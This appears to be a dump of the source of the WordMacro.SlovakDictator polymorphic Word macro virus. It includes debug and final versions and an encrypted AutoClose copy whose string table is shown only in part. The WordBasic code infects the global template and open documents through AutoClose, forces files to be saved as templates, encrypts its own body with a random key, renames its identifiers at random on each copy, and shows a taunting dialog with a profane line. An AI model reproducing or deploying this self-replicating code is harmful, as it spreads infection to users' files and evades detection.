DisableAutoMacros FixedConstant_1
DecryptLines

SaveWindowName$ = WindowName$()
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction =


FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$

Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
'//// zaverecna cast
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub

Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub
SLOW_A.MAC

Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub

Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function

Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
==============================================================================
Macro name: SlovakDictatorRESOURCEdebug [SLOVAKDICTATORRESOURCEDEBUG] "U"
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames

Sub MAIN
FixedConstant_0 = 0
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 37
HiddenStart = 120
SLOW_A.MAC

HiddenLines = 178
PolyNames = 31
On Error Goto ErrorHandler
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
Call InitializePolymorphTables
'//// begin of hidden part ////
DisableInput 1
ShowBox
CurFile$ = FileName$() : MsgBox "File = " + CurFile$
If CurFile$ = "" Then Goto ErrorHandler

If CheckInstalled(0) = 0 Then
MsgBox "2Normal" : Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
Goto ErrorHandler
End If

Dim dlg As FileSaveAs


GetCurValues dlg
If dlg.Format = 0 Then
dlg.Format = 1
FileSaveAs dlg
End If

If CheckInstalled(1) = 0 Then
MsgBox "2File" : Infect(3)
FileSave
End If

ErrorHandler:
End Sub

Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc <> 4 Or ParlamentnyPuc <> 11 Then
Beep
Begin Dialog UserDialog 380, 224, "Virus ALERT!"
Text 29, 8, 349, 13, "You're infected by WordMacro.SlovakDictator virus", .Text1
Text 15, 28, 360, 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.00", .Text2
Text 145, 51, 123, 13, "Dis is Level 421", .Text3
Text 35, 73, 342, 13, "(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia", .Text4
Text 34, 98, 343, 13, "Dis is the first world true polymorphic macro virus !", .Text5
PushButton 120, 188, 147, 21, "Accept / Suhlas", .Push1
Text 100, 165, 228, 13, "Big fuck to the big boxer V.M.", .Text6
End Dialog
Dim dlg As UserDialog
Dialog(dlg)
End If
End Sub

Function CheckInstalled(j)
On Error Resume Next
CheckInstalled = 0
For i = 1 To CountMacros(j)
If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1
Next i
End Function

Sub Infect(WhatToInfect)
SaveWindowName$ = WindowName$()
SLOW_A.MAC

ToolsMacro .Name = "AutoClose", .Show = WhatToInfect, .Edit


EditClear - 20

'////
'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra
'//// viditelna cast - nemenit !
'////
For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov "Sub OriginalMacroBody"+1
'//// az po "Sub InitializePolymorphTables"-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next i
EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase
= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,
.FindAllWordForms = 0

CryptConstant = - Int((4 + Rnd() * 10))


Call DecryptLines
Insert "CryptConstant = " + Str$(- CryptConstant)
InsertPara
FlushAllTables
DocClose 1
Activate SaveWindowName$
End Sub

Sub OriginalMacroBody
'//// end of Hidden part ////
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines

SaveWindowName$ = WindowName$() : MsgBox "Win=" + SaveWindowName$


ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction =


FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$

Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete

ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
End Sub

Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
SLOW_A.MAC

MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,


FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub

Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub

Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function

Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub

Sub InitializePolymorphTables
==============================================================================
Macro name: SlovakDictatorRESOURCEfinal [SLOVAKDICTATORRESOURCEFINAL] "U"
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames

Sub MAIN
On Error Goto ErrorHandler
DisableInput 1
FixedConstant_0 = 0
SLOW_A.MAC

FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
HiddenStart = 120
HiddenLines = 179
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
Call InitializePolymorphTables
'//// begin of hidden part ////
ShowBox
CurFile$ = FileName$()
If CurFile$ = "" Then Goto ErrorHandler

If CheckInstalled(0) = 0 Then
Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
Goto ErrorHandler
End If

Dim dlg As FileSaveAs


GetCurValues dlg
If dlg.Format = 0 Then
dlg.Format = 1
FileSaveAs dlg
End If

If CheckInstalled(1) = 0 Then
Infect(3)
FileSave
End If

ErrorHandler:
End Sub

Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then
Beep
Begin Dialog UserDialog 380, 224, "Virus ALERT!"
Text 29, 8, 349, 13, "You're infected by WordMacro.SlovakDictator virus", .Text1
Text 15, 28, 360, 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.00", .Text2
Text 145, 51, 123, 13, "Dis is Level 421", .Text3
Text 35, 73, 342, 13, "(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia", .Text4
Text 34, 98, 343, 13, "Dis is the first world true polymorphic macro virus !", .Text5
PushButton 120, 188, 147, 21, "Accept / Suhlas", .Push1
Text 100, 165, 228, 13, "Big fuck to the big boxer V.M.", .Text6
End Dialog
Dim dlg As UserDialog
Dialog(dlg)
End If
End Sub

Function CheckInstalled(j)
SLOW_A.MAC

On Error Resume Next


CheckInstalled = 0
For i = 1 To CountMacros(j)
If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1
Next i
End Function

Sub Infect(WhatToInfect)
SaveWindowName$ = WindowName$()
ToolsMacro .Name = "AutoClose", .Show = WhatToInfect, .Edit
EditClear - 20

'////
'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra
'//// viditelna cast - nemenit !
'////
For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov "Sub OriginalMacroBody"+1
'//// az po "Sub InitializePolymorphTables"-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next i
EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase
= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,
.FindAllWordForms = 0

CryptConstant = - Int((4 + Rnd() * 10))


Call DecryptLines
Insert "CryptConstant = " + Str$(- CryptConstant)
InsertPara
FlushAllTables
DocClose 1
Activate SaveWindowName$
End Sub

Sub OriginalMacroBody
'//// end of Hidden part ////
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines

SaveWindowName$ = WindowName$()
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1

EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction =


FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0

FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$

Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete

ErrorHandler:
SLOW_A.MAC

DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub

Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub

Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub

Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function

Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub

Sub InitializePolymorphTables
==============================================================================
Macro name: AutoCloseEncrypted [AUTOCLOSEENCRYPTED] "U"
Encryption key: 8E
------------------------------------------------------------------------------
Dim Shared CTOJSIQREBIMKSCJOQ
Dim Shared KRVTLQFIOQ
Dim Shared VFFLVOMBJO
Dim Shared SLDMTVLJUILNV
Dim Shared QCSQPHEEPFTIUNGC
Dim Shared QRPSLDKCBJN
Dim Shared ECFBULHOSNPVHFQHU
Dim Shared RCEGHFVLBVNUHPJ
Dim Shared FUFNJKGLSUIQKJLM
Dim Shared HTHPBJIVDPO
Dim Shared VJPJHQNAQRNO
SLOW_A.MAC

Dim Shared FHUMCEAANPGT$(200)


Dim Shared ITVNPFSFJOLERDPDVGC
Dim Shared JGGUCPCJHP
Dim Shared ATBCMFMITOIRU
Dim Shared OQJKJCKTVTMLQS$(31)
Dim Shared DBTKGBAKSUBPOIBKTAH

Sub MAIN
On Error Goto UTCUSCLAOECQNLTBA
DisableInput 1
CTOJSIQREBIMKSCJOQ = 0
KRVTLQFIOQ = 1
VFFLVOMBJO = 2
SLDMTVLJUILNV = 7
QCSQPHEEPFTIUNGC = 10
QRPSLDKCBJN = 20
ECFBULHOSNPVHFQHU = 22
RCEGHFVLBVNUHPJ = 65
FUFNJKGLSUIQKJLM = 34
HTHPBJIVDPO = 64
ITVNPFSFJOLERDPDVGC = 38
JGGUCPCJHP = 120
ATBCMFMITOIRU = 179
DBTKGBAKSUBPOIBKTAH = 31
ADKAPBAVCRPTNA$ = AppInfo$(VFFLVOMBJO)
AVLRCKOUFVTMKMJPJR = Val(Left$(ADKAPBAVCRPTNA$, KRVTLQFIOQ))
If AVLRCKOUFVTMKMJPJR <> SLDMTVLJUILNV Then Goto UTCUSCLAOECQNLTBA
Call FLPMKRKPCAPOCBQVUMN
ScreenUpdating CTOJSIQREBIMKSCJOQ
DisableAutoMacros KRVTLQFIOQ
VOPESNDPVHCINP

JOVEPAKCFV$ = WindowName$()
ToolsMacro .Name = "MBDRPMTMVEKV", .Show = KRVTLQFIOQ, .Edit
EditClear - QRPSLDKCBJN
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU : Insert FHUMCEAANPGT$(
BJHKBJMKQVULFPN) : InsertPara : Next BJHKBJMKQVULFPN

EditReplace .Find = Chr$(HTHPBJIVDPO) + Chr$(HTHPBJIVDPO), .Replace = Chr$(FUFNJKGLSUIQKJLM),


.Direction = CTOJSIQREBIMKSCJOQ, .MatchCase = KRVTLQFIOQ, .WholeWord = CTOJSIQREBIMKSCJOQ, .
PatternMatch = CTOJSIQREBIMKSCJOQ, .SoundsLike = CTOJSIQREBIMKSCJOQ, .ReplaceAll, .Format =
CTOJSIQREBIMKSCJOQ, .Wrap = KRVTLQFIOQ, .FindAllWordForms = CTOJSIQREBIMKSCJOQ

HOKFFSFLVKJA
ULTNGQPUUTERVSDV
DocClose KRVTLQFIOQ
Activate JOVEPAKCFV$

Call MBDRPMTMVEKV
ToolsMacro .Name = "MBDRPMTMVEKV", .Show = KRVTLQFIOQ, .Delete

UTCUSCLAOECQNLTBA:
DisableAutoMacros CTOJSIQREBIMKSCJOQ
ScreenUpdating KRVTLQFIOQ
DisableInput CTOJSIQREBIMKSCJOQ
End Sub

Sub VOPESNDPVHCINP
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
COICSINJIUIOI$ = ""
VGBPGUTQAQ = Len(FHUMCEAANPGT$(BJHKBJMKQVULFPN))
For MUANKIPLHAIGVBJSDI = KRVTLQFIOQ To VGBPGUTQAQ
SLOW_A.MAC

COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Asc(Mid$(FHUMCEAANPGT$(BJHKBJMKQVULFPN),


MUANKIPLHAIGVBJSDI, KRVTLQFIOQ)) - VJPJHQNAQRNO)
Next MUANKIPLHAIGVBJSDI
FHUMCEAANPGT$(BJHKBJMKQVULFPN) = COICSINJIUIOI$
Next BJHKBJMKQVULFPN
End Sub

Sub HOKFFSFLVKJA
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
Insert "FHUMCEAANPGT$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) +
FHUMCEAANPGT$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)
InsertPara
Next BJHKBJMKQVULFPN
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ
Insert "OQJKJCKTVTMLQS$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) +
OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)
InsertPara
Next BJHKBJMKQVULFPN
End Sub

Function CEDKKKAROAKFSRAH$
COICSINJIUIOI$ = ""
For BJHKBJMKQVULFPN = KRVTLQFIOQ To QCSQPHEEPFTIUNGC + Rnd() * QCSQPHEEPFTIUNGC :
COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Rnd() * ECFBULHOSNPVHFQHU + RCEGHFVLBVNUHPJ) : Next
BJHKBJMKQVULFPN
CEDKKKAROAKFSRAH$ = COICSINJIUIOI$
End Function

Sub ULTNGQPUUTERVSDV
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ
EditReplace .Find = OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN), .Replace = CEDKKKAROAKFSRAH$, .
Direction = CTOJSIQREBIMKSCJOQ, .MatchCase = KRVTLQFIOQ, .WholeWord = CTOJSIQREBIMKSCJOQ, .
PatternMatch = CTOJSIQREBIMKSCJOQ, .SoundsLike = CTOJSIQREBIMKSCJOQ, .ReplaceAll, .Format =
CTOJSIQREBIMKSCJOQ, .Wrap = KRVTLQFIOQ, .FindAllWordForms = CTOJSIQREBIMKSCJOQ
Next BJHKBJMKQVULFPN
End Sub

Sub FLPMKRKPCAPOCBQVUMN
VJPJHQNAQRNO = 6
FHUMCEAANPGT$(0) = "Jos&Yngxkj&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(1) = "Jos&Yngxkj&QX\ZRWLOUW"
FHUMCEAANPGT$(2) = "Jos&Yngxkj&\LLR\USHPU"
FHUMCEAANPGT$(3) = "Jos&Yngxkj&YRJSZ\RP[ORT\"
FHUMCEAANPGT$(4) = "Jos&Yngxkj&WIYWVNKKVLZO[TMI"
FHUMCEAANPGT$(5) = "Jos&Yngxkj&WXVYRJQIHPT"
FHUMCEAANPGT$(6) = "Jos&Yngxkj&KILH[RNUYTV\NLWN["
FHUMCEAANPGT$(7) = "Jos&Yngxkj&XIKMNL\RH\T[NVP"
FHUMCEAANPGT$(8) = "Jos&Yngxkj&L[LTPQMRY[OWQPRS"
FHUMCEAANPGT$(9) = "Jos&Yngxkj&NZNVHPO\JVU"
FHUMCEAANPGT$(10) = "Jos&Yngxkj&\PVPNWTGWXTU"
FHUMCEAANPGT$(11) = "Jos&Yngxkj&LN[SIKGGTVMZ*.866/"
FHUMCEAANPGT$(12) = "Jos&Yngxkj&OZ\TVLYLPURKXJVJ\MI"
FHUMCEAANPGT$(13) = "Jos&Yngxkj&PMM[IVIPNV"
FHUMCEAANPGT$(14) = "Jos&Yngxkj&GZHISLSOZUOX["
FHUMCEAANPGT$(15) = "Jos&Yngxkj&UWPQPIQZ\ZSRWY*.97/"
FHUMCEAANPGT$(16) = "Jos&Yngxkj&JHZQMHGQY[HVUOHQZGN"
FHUMCEAANPGT$(17) = ""
FHUMCEAANPGT$(18) = "Y{h&SGOT"
FHUMCEAANPGT$(19) = "Ut&Kxxux&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(20) = "JoyghrkOtv{z&7"
FHUMCEAANPGT$(21) = "IZUPYOWXKHOSQYIPUW&C&6"
FHUMCEAANPGT$(22) = "QX\ZRWLOUW&C&7"
SLOW_A.MAC

FHUMCEAANPGT$(23) = "\LLR\USHPU&C&8"
FHUMCEAANPGT$(24) = "YRJSZ\RP[ORT\&C&="
FHUMCEAANPGT$(25) = "WIYWVNKKVLZO[TMI&C&76"
FHUMCEAANPGT$(26) = "WXVYRJQIHPT&C&86"
FHUMCEAANPGT$(27) = "KILH[RNUYTV\NLWN[&C&88"
FHUMCEAANPGT$(28) = "XIKMNL\RH\T[NVP&C&<;"
FHUMCEAANPGT$(29) = "L[LTPQMRY[OWQPRS&C&9:"
FHUMCEAANPGT$(30) = "NZNVHPO\JVU&C&<:"
FHUMCEAANPGT$(31) = "OZ\TVLYLPURKXJVJ\MI&C&9>"
FHUMCEAANPGT$(32) = "PMM[IVIPNV&C&786"
FHUMCEAANPGT$(33) = "GZHISLSOZUOX[&C&7=?"
FHUMCEAANPGT$(34) = "JHZQMHGQY[HVUOHQZGN&C&97"
FHUMCEAANPGT$(35) = "GJQGVHG\IXVZTG*&C&GvvOtlu*.\LLR\USHPU/"
FHUMCEAANPGT$(36) = "G\RXIQU[L\ZSQSPVPX&C&\gr.Rklz*.GJQGVHG\IXVZTG*2&QX\ZRWLOUW//"
FHUMCEAANPGT$(37) = "Ol&G\RXIQU[L\ZSQSPVPX&BD&YRJSZ\RP[ORT\&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(38) = "Igrr&LRVSQXQVIGVUIHW\[ST"
FHUMCEAANPGT$(39) = "-5555&hkmot&ul&nojjkt&vgxz&5555"
FHUMCEAANPGT$(40) = "Ynu}Hu~"
FHUMCEAANPGT$(41) = "I{xLork*&C&LorkTgsk*./"
FHUMCEAANPGT$(42) = "Ol&I{xLork*&C&FFFF&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(43) = ""
FHUMCEAANPGT$(44) = "Ol&InkiqOtyzgrrkj.6/&C&6&Znkt"
FHUMCEAANPGT$(45) = "Otlkiz.7/"
FHUMCEAANPGT$(46) = "ZuuryUvzoutyYg|k&4MruhgrJuzVxusvz&C&62&4LgyzYg|ky&C&6"
FHUMCEAANPGT$(47) = "Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(48) = "Ktj&Ol"
FHUMCEAANPGT$(49) = ""
FHUMCEAANPGT$(50) = "Jos&jrm&Gy&LorkYg|kGy"
FHUMCEAANPGT$(51) = "MkzI{x\gr{ky&jrm"
FHUMCEAANPGT$(52) = "Ol&jrm4Luxsgz&C&6&Znkt"
FHUMCEAANPGT$(53) = "jrm4Luxsgz&C&7"
FHUMCEAANPGT$(54) = "LorkYg|kGy&jrm"
FHUMCEAANPGT$(55) = "Ktj&Ol"
FHUMCEAANPGT$(56) = ""
FHUMCEAANPGT$(57) = "Ol&InkiqOtyzgrrkj.7/&C&6&Znkt"
FHUMCEAANPGT$(58) = "Otlkiz.9/"
FHUMCEAANPGT$(59) = "LorkYg|k"
FHUMCEAANPGT$(60) = "Ktj&Ol"
FHUMCEAANPGT$(61) = ""
FHUMCEAANPGT$(62) = "[ZI[YIRGUKIWTRZHG@"
FHUMCEAANPGT$(63) = "Ktj&Y{h"
FHUMCEAANPGT$(64) = ""
FHUMCEAANPGT$(65) = "Y{h&Ynu}Hu~"
FHUMCEAANPGT$(66) = "VgxrgsktztV{i&C&Jg.Tu}.//"
FHUMCEAANPGT$(67) = "Ol&VgxrgsktztV{i&C&:&Ux&VgxrgsktztV{i&C&77&Znkt"
FHUMCEAANPGT$(68) = "Hkkv"
FHUMCEAANPGT$(69) = "Hkmot&Jogrum&[ykxJogrum&9>62&88:2&FF\ox{y&GRKXZ'FF"
FHUMCEAANPGT$(70) =
"Zk~z&8?2&>2&9:?2&792&FF_u{-xk&otlkizkj&h&]uxjSgixu4Yru|gqJoizgzux&|ox{yFF2&4Zk~z7"
FHUMCEAANPGT$(71) =
"Zk~z&7;2&8>2&9<62&792&FF]kriusk&zu&znk&RSK&.Rgskx-y&Sgixu&Ktmotk/&|kx4&7466FF2&4Zk~z8"
FHUMCEAANPGT$(72) = "Zk~z&7:;2&;72&7892&792&FFJoy&oy&Rk|kr&:87FF2&4Zk~z9"
FHUMCEAANPGT$(73) =
"Zk~z&9;2&=92&9:82&792&FF.i/&73sgx3?=2&Tgyz&Rgskx&,,&[mr&R{ykx2&Yru|gqogFF2&4Zk~z:"
FHUMCEAANPGT$(74) =
"Zk~z&9:2&?>2&9:92&792&FFJoy&oy&znk&loxyz&}uxrj&zx{k&vursuxvnoi&sgixu&|ox{y&'FF2&4Zk~z;"
FHUMCEAANPGT$(75) = "V{ynH{zzut&7862&7>>2&7:=2&872&FFGiikvz&5&Y{nrgyFF2&4V{yn7"
FHUMCEAANPGT$(76) = "Zk~z&7662&7<;2&88>2&792&FFHom&l{iq&zu&znk&hom&hu~kx&\4S4FF2&4Zk~z<"
FHUMCEAANPGT$(77) = "Ktj&Jogrum"
FHUMCEAANPGT$(78) = "Jos&jrm&Gy&[ykxJogrum"
FHUMCEAANPGT$(79) = "Jogrum.jrm/"
FHUMCEAANPGT$(80) = "Ktj&Ol"
SLOW_A.MAC

FHUMCEAANPGT$(81) = "Ktj&Y{h"
FHUMCEAANPGT$(82) = ""
FHUMCEAANPGT$(83) = "L{tizout&InkiqOtyzgrrkj.p/"
FHUMCEAANPGT$(84) = "Ut&Kxxux&Xky{sk&Tk~z"
FHUMCEAANPGT$(85) = "InkiqOtyzgrrkj&C&6"
FHUMCEAANPGT$(86) = "Lux&o&C&7&Zu&Iu{tzSgixuy.p/"
